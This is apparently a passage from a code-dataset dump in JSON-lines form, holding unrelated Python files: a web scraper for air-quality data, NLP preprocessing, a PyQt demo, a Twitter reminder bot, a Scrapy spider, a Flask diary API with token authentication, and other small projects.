timeout=5000)\n soup = BeautifulSoup(r.text, 'lxml')\n city_name = soup.find('span', class_='city_name').text\n aqi = int(soup.find('a', class_='cbol_aqi_num').text)\n pm25 = int(soup.find('span', class_='cbol_nongdu_num_1').text)\n dic = {'城市': city_name, 'aqi': aqi, 'pm2.5(ug/m^3)': pm25}\n return dic\n\n\ndef main():\n \"\"\"\n 主函数\n \"\"\"\n\n start = time.clock()\n url_li = get_url()\n inf = []\n for i in url_li:\n inf.append(get_info(i))\n time.sleep(0.1)\n end = time.clock()\n print('...数据采集完毕，所用时间为{}'.format(end-start))\n df = pandas.DataFrame(inf)\n # 数据清洗\n df = df[df['aqi'] > 0]\n print(df.sort_values(by='aqi', ascending=True))\n top50_city = df.sort_values(by='aqi', ascending=True).head(50)\n top50_city.plot(figsize=(20, 10), kind='barh', title='空气质量指数最好的前50个城市', x='城市', y='aqi')\n plt.savefig('top50_city.png')\n plt.show()\n\n\nif __name__ == '__main__':\n main()\n # 由于电脑永远有其他程序占用资源，所以这个程序基本不可能高效运行，为了尽量排除偶然因素，用repeat更好\n # t = repeat('main()', 'from __main__ import main', number=1, repeat=5)\n # timeit经常用于测试一行语句的运行时间，默认执行1000,000次\n # t = timeit('[0 for _ in range(10)]', number=1)\n","sub_path":"AQI_v1.py","file_name":"AQI_v1.py","file_ext":"py","file_size_in_byte":6185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"419962440","text":"import re\nfrom Sastrawi.Stemmer.StemmerFactory import StemmerFactory\n\n\ndef get_stopword(stopwordList):\n \"\"\"\n get stopword data from CSV file\n :param stopwordList: berisi file konjungsi.csv\n :return: list stopword berdasarkan file csv\n \"\"\"\n\n stopwords = []\n\n fp = open(stopwordList, 'r')\n line = fp.readline()\n while line:\n word = line.strip()\n stopwords.append(word)\n line = fp.readline()\n fp.close()\n\n return stopwords\n\n\ndef tokenizing(docs):\n \"\"\"\n fungsi ini digunakan untuk memisahkan kalimat berdasarkan spasi dan tanda baca\n :param docs: inputan user\n :return: list token dari tiap kata dari inputan user\n \"\"\"\n\n text = docs.lower()\n text = re.sub('[^A-Za-z]+', ' ', text)\n token = text.split(\" \")\n token = list(filter(None, token))\n\n return token\n\n\ndef filtering(docs, stopwords):\n \"\"\"\n fungsi ini digunakan untuk mengambil kata penting yang dibutuhkan yaitu gejala\n :param docs: inputan hasil tokenizing\n :param stopwords: list yang berisi kata konjungsi/kata yang tidak dibutuhkan\n :return: list res_token dari filtering input tokenizing dengan kata konjungsi\n \"\"\"\n\n res_token = [text for text in docs if text not in stopwords]\n\n return res_token\n\n\ndef stemming(doc):\n \"\"\"\n fungsi ini digunakan untuk mencari kata dasar berdasarkan gejala\n :param doc: inputan hasil filtering\n :return: list stem berisi kata dasar dari hasil filtering\n \"\"\"\n\n factory = StemmerFactory()\n stemmer = factory.create_stemmer()\n stem = []\n\n len_array = len(doc)\n for i in range(len_array):\n temp = doc[i]\n result_stem = stemmer.stem(temp)\n stem.append(result_stem)\n\n return stem\n","sub_path":"preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":1725,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"92845502","text":"from PyQt5 import QtWidgets\nfrom PyQt5.QtWidgets import QApplication,QMainWindow\nimport sys\n\ndef clicked():\n\n print('CLicked')\n\ndef window():\n\n #Initializing window\n app = QApplication(sys.argv)\n win = QMainWindow()\n xpos = 100\n ypos = 100\n width =1000\n height = 300\n win.setGeometry(xpos,ypos,width,height)\n win.setWindowTitle('First Tutorial:')\n\n #Creating a label\n label = QtWidgets.QLabel(win)\n label.setText('My First label')\n label.move(50,50)\n\n #Creating a button\n b1 = QtWidgets.QPushButton(win)\n b1.setText('Click me')\n b1.clicked.connect(clicked)\n win.show()\n sys.exit(app.exec())\n\nwindow()\n","sub_path":"pyqt_tutorial.py","file_name":"pyqt_tutorial.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"626492772","text":"import datetime\nimport os\n\ntry:\n import boto3\n from boto3.dynamodb.conditions import Key\nexcept ImportError:\n pass\n \nfrom common import create_tweepy_client, send_tweet, DATETIME_CET_FORMAT, flag_emojis, ALERT_EMOJI\n\n\ndef generate_event_strings(events):\n event_strings = []\n for event in events:\n flag = (flag_emojis[event['country']] + \" \") if event['country'] in flag_emojis else \"\"\n watch_link_string = \"\"\n try:\n watch_links = event['watchLinks']\n # tweeting only links that can be watched live\n for watch_link in list(filter(lambda wl: 'live' in wl and wl['live'], watch_links)):\n if watch_link_string != \"\":\n watch_link_string += \" OR \"\n if \"link\" in watch_link:\n watch_link_string += watch_link['link'] + ((\" (\" + watch_link['comment'] + \")\") if \"comment\" in watch_link and watch_link['comment'] != \"\" and watch_link['comment'] != \"Recommended link\" else \"\")\n additional_comments = []\n if \"geoblocked\" in watch_link and watch_link['geoblocked']:\n additional_comments.append(\"geoblocked\")\n if \"accountRequired\" in watch_link and watch_link['accountRequired']:\n additional_comments.append(\"account required: https://lyseurovision.github.io/help.html#account-\" + event['country'])\n if len(additional_comments) > 0:\n watch_link_string += \" (\" + \", \".join(additional_comments) + \")\"\n except KeyError:\n pass\n if watch_link_string == \"\": \n watch_link_string = \"(no watch link found)\"\n else:\n watch_link_string = \"(\" + watch_link_string + \")\"\n event_string = \"\\n{}{} - {} {}\".format(flag, event['name'], event['stage'], watch_link_string)\n event_strings.append(event_string)\n return event_strings\n\ndef build_tweets(event_strings):\n tweets = []\n tweet = ALERT_EMOJI + \" 5 MINUTES REMINDER!\"\n for string in event_strings:\n if len(tweet+string) < 260:\n tweet += \"\\n---------\" + string\n else:\n tweets.append(tweet)\n tweet = string.lstrip('\\n')\n if len(tweet) > 0:\n tweets.append(tweet)\n return tweets\n\n\ndef main(event, context):\n consumer_key = os.environ['TWITTER_CONSUMER_KEY']\n consumer_secret = os.environ['TWITTER_CONSUMER_SECRET']\n access_token = os.environ['TWITTER_ACCESS_TOKEN']\n access_token_secret = os.environ['TWITTER_ACCESS_SECRET']\n\n client = create_tweepy_client(consumer_key, consumer_secret, access_token, access_token_secret, twitter_api_version=2)\n\n dynamodb = boto3.resource('dynamodb')\n table = dynamodb.Table('lys_events')\n\n is_test = \"isTest\" in event\n today = datetime.datetime.now() + datetime.timedelta(hours=1)\n output = []\n\n now = (today + datetime.timedelta(seconds=1)).strftime(DATETIME_CET_FORMAT)\n now_plus5min = (today + datetime.timedelta(minutes=5)).replace(second=0).strftime(DATETIME_CET_FORMAT)\n\n events = table.scan(\n FilterExpression=Key('dateTimeCet').between(now, now_plus5min)\n )['Items'] if not is_test else [{'country': 'Sweden', 'name': 'Melodifestivalen', 'stage': 'Final', 'dateTimeCet': '2021-03-13T20:00:00', 'watchLinks': [{'link': 'https://svtplay.se'}]}]\n\n if len(events) == 0:\n return\n\n event_strings = generate_event_strings(events)\n tweets = build_tweets(event_strings)\n \n status = None\n if not is_test:\n status = send_tweet(client, tweet=tweets[0])\n output.append(tweets[0])\n\n for i in range(1,len(tweets)):\n if not is_test:\n status = send_tweet(client, tweet=tweets[i], reply_tweet_id=status.id_str)\n output.append(tweets[i])\n\n return output\n","sub_path":"lys_5minutes.py","file_name":"lys_5minutes.py","file_ext":"py","file_size_in_byte":3810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"499025822","text":"#encoding:utf-8\n\nimport scrapy\n\nclass QuotesSpider(scrapy.Spider):\n \"\"\"\n name:\n 爬虫名. 同一个Project 中, 爬虫名必须唯一.\n\n start_requests():\n 必须返回一组可迭代的Request 对象(可以是一个列表或者是一个生成器), 作为爬虫爬取的初始路径.\n\n start_urls:\n 可以替代实现start_requests. 这个列表将被start_requests() 的默认实现用来初始化requests\n\n parse():\n 用于处理每个请求返回的response 对象. 参数response 是TextResponse 实例, 包含了页面内容和一些有用的方法来进行处理.\n parse() 通常被用来解析response, 提取爬取的数据生产字典, 找到页面中新的url 创建Request 对象\n\n 运行方法:\n scrapy crawl 爬虫名\n\n Scrapy Shell:\n scrapy shell \"url\"\n \"\"\"\n\n name = \"quotes\"\n\n # def start_requests(self):\n # urls = [\n # 'http://quotes.toscrape.com/page/1/',\n # 'http://quotes.toscrape.com/page/2/',\n # ]\n # for url in urls:\n # yield scrapy.Request(url=url, callback=self.parse)\n\n start_urls = [\n 'http://quotes.toscrape.com/page/1/',\n 'http://quotes.toscrape.com/page/2/',\n ]\n\n def parse(self, response):\n # page = response.url.split(\"/\")[-2]\n # filename = '../html/quotes-%s.html' % page\n # with open(filename, 'wb') as f:\n # f.write(response.body)\n # self.log('Saved file %s' % filename)\n\n # # text author tags\n # for quote in response.css('div.quote'):\n # yield {\n # 'text': quote.css('span.text::text').extract_first(),\n # 'author': quote.css('span small::text').extract_first(),\n # 'tags': quote.css('div.tags a.tag::text').extract(),\n # }\n\n # folow links to author pages\n for href in response.css('.author+a::attr(href)').extract():\n yield scrapy.Request(url=response.urljoin(href), callback=self.parse_author)\n\n # follow pagination links\n next_page = response.css('ul.pager li.next a::attr(href)').extract_first()\n if next_page is not None:\n next_page = response.urljoin(next_page)\n yield scrapy.Request(url=next_page, callback=self.parse)\n\n def parse_author(self, response):\n def extract_with_css(query):\n return response.css(query=query).extract_first().strip()\n\n yield {\n 'name': extract_with_css('h3.author-title::text'),\n 'birthday': extract_with_css('.author-born-date::text'),\n 'bio': extract_with_css('.author-description::text'),\n }","sub_path":"s002_Tutorial/s002_Tutorial/spiders/quotes_spider.py","file_name":"quotes_spider.py","file_ext":"py","file_size_in_byte":2676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"359254199","text":"words1 = [\"a\",\"b\",\"c\",\"d\",\"e\"]\n\nmaxWidth1 = 1\n\ntext = \"justification. \"\n\n\ndef split_w(tem_s, maxWidth):\n list1 = tem_s.split(\" \")\n if len(list1) == 1:\n return tem_s + \" \" * (maxWidth - len(tem_s))\n n = len(list1) - 1\n length = maxWidth - len(tem_s) + n\n mod = length % n\n quotient = length // n\n res = \"\"\n for i in list1[:-1]:\n s = 1 if mod != 0 else 0\n res += i + \" \" * quotient + \" \" * s\n if mod != 0:\n mod -= 1\n return res + list1[-1]\n\n\ndef fullJustify(words, maxWidth: int):\n res = []\n if not words: return []\n tem_res = words[0]\n for word in words[1:]:\n if len(word) < maxWidth:\n if len(tem_res + word) < maxWidth:\n tem_res += \" \" + word\n else:\n res.append(split_w(tem_res, maxWidth))\n tem_res = word\n else:\n res.append(split_w(tem_res, maxWidth))\n tem_res = word\n res.append(tem_res + \" \" * (maxWidth - len(tem_res)))\n return res\n\n\nprint(fullJustify(words1, maxWidth1))\n","sub_path":"leetcode/60-100/68. 文本左右对齐.py","file_name":"68. 文本左右对齐.py","file_ext":"py","file_size_in_byte":1063,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"468017577","text":"import tensorflow as tf\nimport os\n\n#os.makedirs(\"/tmp/model\")\n#os.makedirs(\"/tmp/model-subset\")\n\npath = \"./\"\nmeta = path + \"mobilenet_v2_1.0_96.ckpt.meta\"\n\n#model_folder = './weights/mobilenet_v1_1.0_224.ckpt'\nmodel_folder = \"./mobilenet_v2_1.0_96.ckpt\"\nclear_devices = True\n\n\n#checkpoint = tf.train.get_checkpoint_state(model_folder)\n#input_checkpoint = checkpoint.model_checkpoint_path\n\n\n\n\ntf.reset_default_graph()\nwith tf.Session() as sess:\n saver = tf.train.import_meta_graph(meta)\n saver.restore(sess, tf.train.latest_checkpoint(path))\n sess.run(tf.global_variables_initializer())\n tf.summary.FileWriter('./', sess.graph)\n all_vars = tf.trainable_variables()\n for v in all_vars:\n print(\"layer %s with shape \" % (v.name))\n print(sess.run(tf.shape(v)))\n #print(\"%s with value %s\" % (v.name, sess.run(v)))\n\n print(\"=========list of node=========\")\n allname = [n.name for n in tf.get_default_graph().as_graph_def().node]\n for name in allname:\n print(name)\n\n print(\"===========all variables================\")\n all_var = tf.global_variables()\n for var in all_var:\n print(var.name)\n'''\n###### use tool ####\nfrom tensorflow.python.tools import inspect_checkpoint as chkp\n\nchkp.print_tensors_in_checkpoint_file(file_name=\"../all_in_one/mtcnn-3000000\",\n tensor_name=None, \n all_tensors=False,\n all_tensor_names=True)\n\n'''\n\n'''\nv1 = tf.Variable([0.1, 0.1], name=\"v1\")\nv2 = tf.Variable([0.2, 0.2], name=\"v2\")\n\n\ninit_op = tf.global_variables_initializer()\n\n\nsaver = tf.train.Saver()\n\nwith tf.Session() as sess:\n\n sess.run(init_op)\n #saver = tf.train.Saver({\"my_v2\": v2})\n ops = tf.assign(v2, [0.3, 0.3])\n sess.run(ops)\n\n print sess.run(tf.global_variables())\n\n save_path = saver.save(sess, \"/tmp/model/model.ckpt\")\n'''\n","sub_path":"model/mobilenet_v2_1.0_96/mobilenet_test.py","file_name":"mobilenet_test.py","file_ext":"py","file_size_in_byte":1913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"397114234","text":"from django.conf.urls import patterns, url\nfrom .views import *\n\n\nurlpatterns = patterns('',\n\turl(r'^$', parseXML, name='parseXML'),\n url(r'^sign_in$', sign_in, name='sign_in'),\n url(r'^sign_out$', sign_out, name='sign_out'),\n url(r'^sign_up$', sign_up, name='sign_up'),\n url(r'^item/(?P\\d+)/$', post_item, name='post_item'),\n)\n","sub_path":"parcer/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"361320667","text":"# -*- coding: utf-8 -*-\nimport os, datetime, pytz\nfrom django.utils import timezone\nfrom campaigns.foundation.applet.utils import ClientException, ServerException\nfrom campaigns.foundation.const import FoundationConst, DisplayConst, CampaignConst\nfrom campaigns.foundation.models import Campaign\n\n\n# 投票管理\nclass VoteManager(object):\n def __init__(self, app_id, work_class, vote_class, wx_user_class, ip_limit_count, weixin_limit_count):\n self.app_id = app_id\n self.WorkClass = work_class\n self.VoteClass = vote_class\n self.WXUserClass = wx_user_class\n self.ip_limit_count = ip_limit_count\n self.weixin_limit_count = weixin_limit_count\n\n def vote(self, work_id, wx_user=None, ip=None):\n campaign = Campaign.objects.get(pk=self.app_id)\n work = self.WorkClass.objects.get(pk=work_id)\n if campaign is None:\n raise ClientException(\"{0}:{1}\".format(DisplayConst.EXCEPTION_VOTE_CANNOT_FETCH_CAMPAIGN_INFO, self.app_id))\n if work is None or work.status != FoundationConst.STATUS_ONLINE:\n raise ClientException(DisplayConst.EXCEPTION_VOTE_CANNOT_FETCH_WORK_INFO)\n if campaign.hasPaused:\n raise ClientException(DisplayConst.EXCEPTION_VOTE_CAMPAIGN_HAS_PASED)\n if campaign.status == CampaignConst.STATUS_FINISHED:\n raise ClientException(DisplayConst.EXCEPTION_VOTE_CAMPAIGN_HAS_FINISHED)\n if campaign.status == FoundationConst.STATUS_WAITING:\n if self._can_start_campaign(campaign):\n self._start_campaign(campaign)\n else:\n raise ClientException(DisplayConst.EXCEPTION_VOTE_CAMPAIGN_STILL_WAITING)\n elif campaign.status == FoundationConst.STATUS_ONLINE:\n if self._can_stop_campaign(campaign):\n self._stop_campaign(campaign)\n raise ClientException(DisplayConst.EXCEPTION_VOTE_CAMPAIGN_HAS_FINISHED)\n if wx_user is not None:\n if self._is_wx_user_valid(wx_user):\n self._vote_from_weixin(work, wx_user)\n elif ip is not None and self._is_ip_valid(ip):\n self._vote_from_ip(work, ip)\n else:\n raise ClientException(DisplayConst.EXCEPTION_CLIENT_INCOMPLETE_INFORMATION)\n\n def _can_start_campaign(self, campaign):\n now = timezone.now()\n return campaign.startTime < now\n\n def _start_campaign(self, campaign):\n campaign.status = FoundationConst.STATUS_ONLINE\n campaign.save()\n\n def _can_stop_campaign(self, campaign):\n now = timezone.now()\n return campaign.endTime < now\n\n def _stop_campaign(self, campaign):\n campaign.status = FoundationConst.STATUS_BANNED\n campaign.save()\n\n def _calc_today_start(self):\n now = timezone.now()\n return datetime.datetime(now.year, now.month, now.day, 0, 0, 0, tzinfo=pytz.utc)\n\n def _is_ip_valid(self, ip_addr):\n if self.ip_limit_count <= 0:\n return True\n today_start = self._calc_today_start()\n count = self.VoteClass.objects.filter(ip=ip_addr).filter(creationTime__gte=today_start).count()\n return count < self.ip_limit_count\n\n def _is_wx_user_valid(self, wx_user):\n if self.weixin_limit_count <= 0:\n return True\n today_start = self._calc_today_start()\n count = self.VoteClass.objects.filter(wxUser=wx_user).filter(creationTime__gte=today_start).count()\n return count < self.weixin_limit_count\n\n def _vote_from_ip(self, work, ip_addr):\n self.VoteClass.objects.create(\n work=work,\n platform=FoundationConst.PLATFORM_DESKTOP,\n ip=ip_addr,\n status=FoundationConst.STATUS_ONLINE\n )\n\n def _vote_from_weixin(self, work, wx_user):\n self.VoteClass.objects.create(\n work=work,\n platform=FoundationConst.PLATFORM_WEIXIN,\n wxUser=wx_user,\n status=FoundationConst.STATUS_ONLINE\n )\n","sub_path":"campaigns/qiche/applet/vote.py","file_name":"vote.py","file_ext":"py","file_size_in_byte":3988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"601164007","text":"#!/usr/bin/python\n\nfrom flask import Flask, request, g\nfrom flask_cors import CORS\nimport bcrypt\nimport datetime\nimport json\nimport os\nimport sqlite3\nimport uuid\n\napp = Flask(__name__)\n# Enable cross origin sharing for all endpoints\nCORS(app)\n\n# Remember to update this list\nENDPOINT_LIST = ['/', '/meta/heartbeat', '/meta/members', '/users', \n '/users/register', '/users/authenticate', '/users/expire', \n '/diary', '/diary/create', '/diary/delete', '/diary/permission']\n\nDATABASE = 'database.db'\n\n### DATABASE Functionalities ###\n\n# Adapters to make sqlite3 store boolean as integers and back\nsqlite3.register_adapter(bool, int)\nsqlite3.register_converter(\"BOOLEAN\", lambda v: v != '0')\n\ndef get_db():\n db = getattr(g, '_database', None)\n if db is None:\n # Need to call init_db to load schema if database file was not found\n # Note: connect() automatically creates file if not exists\n init_flag = not os.path.isfile(DATABASE)\n\n # Set isolation_level=None for autocommit after each API call processed\n # Set detect_types=sqlite3.PARSE_DECLTYPES to auto convert custom types\n db = g._database = sqlite3.connect(DATABASE, isolation_level=None, detect_types=sqlite3.PARSE_DECLTYPES)\n\n # Set row factory to sqlite3.Row to get associative result sets\n db.row_factory = sqlite3.Row\n\n if init_flag:\n init_db(db)\n return db\n\ndef init_db(db):\n \"\"\"Initialize Sqlite3 database\"\"\"\n with app.app_context():\n with app.open_resource('schema.sql', mode='r') as file:\n db.cursor().executescript(file.read())\n\n@app.teardown_appcontext\ndef close_connection(exception):\n db = getattr(g, '_database', None)\n if db is not None:\n db.close()\n\n### Response Helpers ###\n\ndef make_json_response(data, status=200):\n \"\"\"Utility function to create the JSON responses.\"\"\"\n response = app.response_class(\n response=json.dumps(data),\n status=status,\n mimetype='application/json'\n )\n return response\n\ndef respond_missing_params():\n data = {\n \"status\": False,\n \"error\": \"Missing required parameter(s)\",\n }\n return make_json_response(data)\n\ndef respond_invalid_token():\n data = {\n \"status\": False,\n \"error\": \"Invalid authentication token.\"\n }\n return make_json_response(data)\n\ndef respond_invalid_id():\n data = {\n \"status\": False,\n \"error\": \"Invalid diary entry id.\"\n }\n return make_json_response(data)\n\ndef respond_invalid_public():\n data = {\n \"status\": False,\n \"error\": \"Invalid value for public.\"\n }\n return make_json_response(data)\n\n### API Routes ###\n\n@app.route(\"/\")\ndef index():\n \"\"\"Returns a list of implemented endpoints.\"\"\"\n data = {\n 'status': True,\n 'result': ENDPOINT_LIST\n }\n return make_json_response(data)\n\n\n@app.route(\"/meta/heartbeat\")\ndef meta_heartbeat():\n \"\"\"Returns true\"\"\"\n data = {\n 'status': True\n }\n return make_json_response(data)\n\n\n@app.route(\"/meta/members\")\ndef meta_members():\n \"\"\"Returns a list of team members\"\"\"\n with open(\"./team_members.txt\") as f:\n team_members = f.read().strip().split(\"\\n\")\n data = {\n 'status': True,\n 'result': team_members\n }\n return make_json_response(data)\n\n@app.route(\"/users\", methods=[\"POST\"])\ndef users():\n if request.method == \"POST\":\n post_data = request.get_json() or {}\n token = post_data.get(\"token\")\n\n # All parameters are required\n if None in [token]:\n return respond_missing_params()\n\n # Check token validity and if expired\n try:\n cursor = get_db().execute(\n \"SELECT username, fullname, age FROM tokens NATURAL JOIN users WHERE token=? AND expired=0\", [token])\n row = cursor.fetchone()\n if row is not None:\n data = {\n \"status\": True,\n \"result\": {\n \"username\": row[\"username\"],\n \"fullname\": row[\"fullname\"],\n \"age\": row[\"age\"]\n } \n }\n return make_json_response(data)\n else:\n data = {\n \"status\": False,\n \"error\": \"Invalid authentication token.\"\n }\n return make_json_response(data)\n except sqlite3.Error as e:\n print(\"sqlite3 error: %s\" % e)\n\n@app.route(\"/users/register\", methods=[\"POST\"])\ndef users_register():\n if request.method == 'POST':\n post_data = request.get_json() or {}\n username = post_data.get(\"username\")\n password = post_data.get(\"password\")\n fullname = post_data.get(\"fullname\")\n age = post_data.get(\"age\")\n\n # All parameters are required\n if None in [username, password, fullname, age]:\n return respond_missing_params()\n else:\n # Perform input validation\n try:\n age = int(age)\n except ValueError:\n data = {\n 'status': False,\n 'error': 'Age must be a positive integer'\n }\n return make_json_response(data)\n\n # Attempts to insert the user into the database\n # Raises IntegrityError if username already exists in database\n try:\n hashed_password = bcrypt.hashpw(password.encode(\"UTF-8\"), bcrypt.gensalt())\n get_db().execute('INSERT INTO users VALUES(?,?,?,?)',\n [username, hashed_password, fullname, age])\n print(\"Inserted user {%s, %s, %s, %d}\" %\n (username, hashed_password, fullname, age))\n except sqlite3.IntegrityError:\n data = {\n 'status': False,\n 'error': 'User already exists!'\n }\n return make_json_response(data)\n\n # User created response\n return make_json_response({'status': True}, status=201)\n\n@app.route(\"/users/authenticate\", methods=[\"POST\"])\ndef users_authenticate():\n if request.method == 'POST':\n post_data = request.get_json() or {}\n username = post_data.get('username')\n password = post_data.get('password')\n\n # All parameters are required\n if None in [username, password]:\n return respond_missing_params()\n\n # Authenticate user\n if authenticate_user(username, password):\n token = generate_token(username)\n if token is not None:\n # Authentication successful response\n data = {\n \"status\": True,\n \"result\": {\n \"token\": token\n }\n }\n return make_json_response(data)\n\n # Assume authentication failed\n return make_json_response({\"status\": False})\n\n@app.route(\"/users/expire\", methods=[\"POST\"])\ndef users_expire():\n if request.method == 'POST':\n post_data = request.get_json() or {}\n token = post_data.get('token')\n\n # All parameters are required\n if None in [token]:\n return respond_missing_params()\n\n # Expire the token\n try:\n cursor = get_db().execute(\n \"UPDATE tokens SET expired = 1 WHERE token = ? AND expired = 0\", [token])\n if cursor.rowcount == 0:\n # Token did not exist in database or was already expired\n return make_json_response({'status': False})\n else:\n print(\"Updated token (%s)\" % token)\n return make_json_response({'status': True})\n except sqlite3.Error as e:\n print(\"sqlite3 error: %s\" % e)\n\n@app.route(\"/diary\", methods=[\"GET\", \"POST\"])\ndef diary():\n if request.method == \"GET\":\n # Get public diary entries endpoint (GET /diary)\n try:\n cursor = get_db().execute(\"SELECT * FROM diary_entries WHERE public = 1\")\n rows = [dict(row) for row in cursor.fetchall()]\n data = {\n \"status\": True,\n \"result\": rows\n }\n return make_json_response(data)\n except sqlite3.Error as e:\n print(\"sqlite3 error: %s\" % e)\n return make_json_response({\"status\": False})\n elif request.method == \"POST\":\n # Get authenticated user diary entries endpoint (POST /diary)\n post_data = request.get_json() or {}\n token = post_data.get(\"token\")\n\n # All parameters are required\n if None in [token]:\n return respond_missing_params()\n\n # Validate UUIDv4 token and check if token is not expired\n is_token_valid, username = validate_token(token)\n if not is_token_valid:\n return respond_invalid_token()\n\n # Retrieve diary entries belonging to authenticated user\n try:\n cursor = get_db().execute(\n \"SELECT * FROM diary_entries WHERE author = ?\",\n [username])\n rows = [dict(row) for row in cursor.fetchall()]\n data = {\n \"status\": True,\n \"result\": rows\n }\n return make_json_response(data)\n except sqlite3.Error as e:\n print(\"sqlite3 error: %s\" % e)\n\n@app.route(\"/diary/create\", methods=[\"POST\"])\ndef diary_create():\n if request.method == 'POST':\n post_data = request.get_json() or {}\n token = post_data.get(\"token\")\n title = post_data.get(\"title\")\n public = post_data.get(\"public\")\n text = post_data.get(\"text\")\n\n # All parameters are required\n if None in [token, title, public, text]:\n return respond_missing_params()\n\n # Validate value of public\n is_public_valid, public = validate_public(public)\n if not is_public_valid:\n return respond_invalid_public()\n\n # Validate UUIDv4 token and check if token is not expired\n is_token_valid, username = validate_token(token)\n if not is_token_valid:\n return respond_invalid_token()\n\n # Create diary entry\n try:\n current_time = datetime.datetime.now().replace(microsecond=0).isoformat()\n cursor = get_db().execute(\n \"INSERT INTO diary_entries VALUES(NULL, ?, ?, ?, ?, ?)\",\n [title, username, current_time, public, text])\n diary_entry_id = cursor.lastrowid\n print(\"Inserted diary entry (%d, %s, %s, %s, %s, ...)\" %\n (diary_entry_id, title, username, current_time, public))\n data = {\n \"status\": True,\n \"result\": {\n \"id\": diary_entry_id\n }\n }\n return make_json_response(data, status=201)\n except sqlite3.Error as e:\n print(\"sqlite3 error: %s\" % e)\n\n@app.route(\"/diary/delete\", methods=[\"POST\"])\ndef diary_delete():\n if request.method == 'POST':\n post_data = request.get_json() or {}\n token = post_data.get(\"token\")\n id = post_data.get(\"id\")\n\n # All parameters are required\n if None in [token, id]:\n return respond_missing_params()\n\n # Validate UUIDv4 token and check if token is not expired\n is_token_valid, username = validate_token(token)\n if not is_token_valid:\n return respond_invalid_token()\n\n # Validate diary entry id\n if not validate_id(username, id):\n return respond_invalid_id()\n\n try:\n id = int(id)\n cursor = get_db().execute(\n \"DELETE FROM diary_entries WHERE author = ? AND id = ? LIMIT 1\",\n [username, id])\n print(\"Deleted diary entry (%d, ..., %s, ..., ..., ...)\" %\n (id, username))\n return make_json_response({\"status\": True})\n except sqlite3.Error as e:\n print(\"sqlite3 error: %s\" % e)\n\n # Assume validation failure response\n return make_json_response({\"status\": False})\n\n@app.route(\"/diary/permission\", methods=[\"POST\"])\ndef diary_permission():\n if request.method == 'POST':\n post_data = request.get_json() or {}\n token = post_data.get(\"token\")\n id = post_data.get(\"id\")\n public = post_data.get(\"public\")\n\n # All parameters are required\n if None in [token, id, public]:\n return respond_missing_params()\n\n # Validate UUIDv4 token and check if token is not expired\n is_token_valid, username = validate_token(token)\n if not is_token_valid:\n return respond_invalid_token()\n\n # Validate diary entry id\n if not validate_id(username, id):\n return respond_invalid_id()\n\n # Validate value of public\n is_public_valid, public = validate_public(public)\n if not is_public_valid:\n return respond_invalid_public()\n\n # Modify the permission on the diary entry\n try:\n cursor = get_db().execute(\n \"UPDATE diary_entries SET public = ? WHERE author = ? AND id = ?\",\n [public, username, id])\n return make_json_response({\"status\": True})\n except sqlite3.Error as e:\n print(\"sqlite3 error: %s\" % e)\n\n # Assume validation failure response\n return make_json_response({\"status\": False})\n\n### Helper function(s) ###\n\ndef authenticate_user(username, password):\n try:\n cursor = get_db().execute(\n \"SELECT * FROM users WHERE username = ?\",\n [username])\n user = cursor.fetchone()\n if user is None:\n print(\"Username is invalid\")\n return False\n else:\n hashed_password = user[\"hashed_password\"]\n if bcrypt.hashpw(password.encode(\"UTF-8\"),\n hashed_password.encode(\"UTF-8\")) == hashed_password:\n print(\"User successfully authenticated\")\n return True\n else:\n print(\"Password does not match\")\n return False\n except sqlite3.Error as e:\n print(\"sqlite3 error: %s\" % e)\n return False\n\ndef generate_token(username):\n try:\n token = str(uuid.uuid4())\n get_db().execute(\n 'INSERT INTO tokens VALUES (?, ?, ?)',\n [username, token, False])\n print(\"Inserted token (%s, %s, False)\" % (username, token))\n return token\n except sqlite3.Error as e:\n print(\"sqlite3 error: %s\" % e)\n return None\n\ndef validate_token(token):\n # Validate UUIDv4 token\n try:\n uuid.UUID(str(token), version=4)\n except ValueError as e:\n print(\"Invalid UUIDv4 token\")\n return False, None\n\n # Check if token has expired\n try:\n cursor = get_db().execute(\n \"SELECT * FROM tokens WHERE token = ? AND expired = 0\", [token])\n rows = cursor.fetchall()\n if len(rows) == 0:\n print(\"Invalid or expired token (%s)\" % token)\n return False, None\n else:\n print(rows)\n return True, rows[0][\"username\"]\n except sqlite3.Error as e:\n print(\"sqlite3 error: %s\" % e)\n return False, None\n\ndef validate_id(username, id):\n try:\n id = int(id)\n cursor = get_db().execute(\n \"SELECT * FROM diary_entries WHERE author = ? AND id = ?\",\n [username, id])\n row = cursor.fetchone()\n if row is None:\n # Diary entry id is invalid or does not belong to user\n return False\n else:\n return True\n except ValueError as e:\n print(\"Id is not an integer\")\n return False\n except sqlite3.Error as e:\n print(\"sqlite3 error: %s\" % e)\n return False\n\ndef validate_public(public):\n if isinstance(public, bool):\n return True, public\n else:\n print(\"Value of public is not True or False\")\n return False, None\n\nif __name__ == '__main__':\n # Change the working directory to the script directory\n abspath = os.path.abspath(__file__)\n dname = os.path.dirname(abspath)\n os.chdir(dname)\n\n # Run the application\n app.run(debug=False, port=8080, host=\"0.0.0.0\")\n","sub_path":"src/service/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":16236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"154262465","text":"# -*- coding: utf-8 -*-\nimport json\nfrom mysql.connector import (connection)\nimport MeCab\nimport operator\nfrom utils import loadDict\nimport math\n\nmecab = MeCab.Tagger(\"-Ochasen\")\n\nwith open('./preprocessing/config.json') as config_file:\n data = json.load(config_file)\n\ncnx = connection.MySQLConnection(user=data['mysql']['user'], 